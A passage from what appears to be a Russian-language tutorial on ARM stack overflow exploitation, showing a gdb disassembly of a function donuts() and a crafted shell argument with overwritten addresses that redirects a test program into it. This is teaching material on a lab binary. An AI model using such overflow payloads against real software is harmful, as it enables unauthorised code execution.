Если мы
вернемся к коду программы, то заметим функцию donuts(). Эта
функция не делает ничего, кроме печати сообщения и выхода с вызовом exit(0),
что позволяет избежать проблемы.
Сначала мы должны узнать его адрес:
(gdb)
disass donuts
Dump of assembler code for function donuts:
0x000083f4
: mov r12, sp
0x000083f8 : push {r11, r12, lr, pc}
0x000083fc : sub r11, r12, #4 ; 0x4
0x00008400 : ldr r0, [pc, #8] ; 0x8410
0x00008404 : bl 0x8318
0x00008408 : mov r0, #0 ; 0x0
0x0000840c : bl 0x8324
0x00008410 : andeq r8, r0, r12, lsl r5
End of assembler dump.
(gdb)
Затем мы можем вызвать непосредственно из оболочки программу с новой
строкой:
root@armstation# ./test ‘printf "AABBBBCCCC\xb4\xa7\xac\
> \xbe\xa0\xa7\xac\xbe\xf4\x83"‘
Donuts...
root@armstation#
Программа может упасть несколько раз, но наверняка после нескольких
попыток мы получим желаемый результат: выполнение donuts() и чистый
выход.
Do'stlaringiz bilan baham: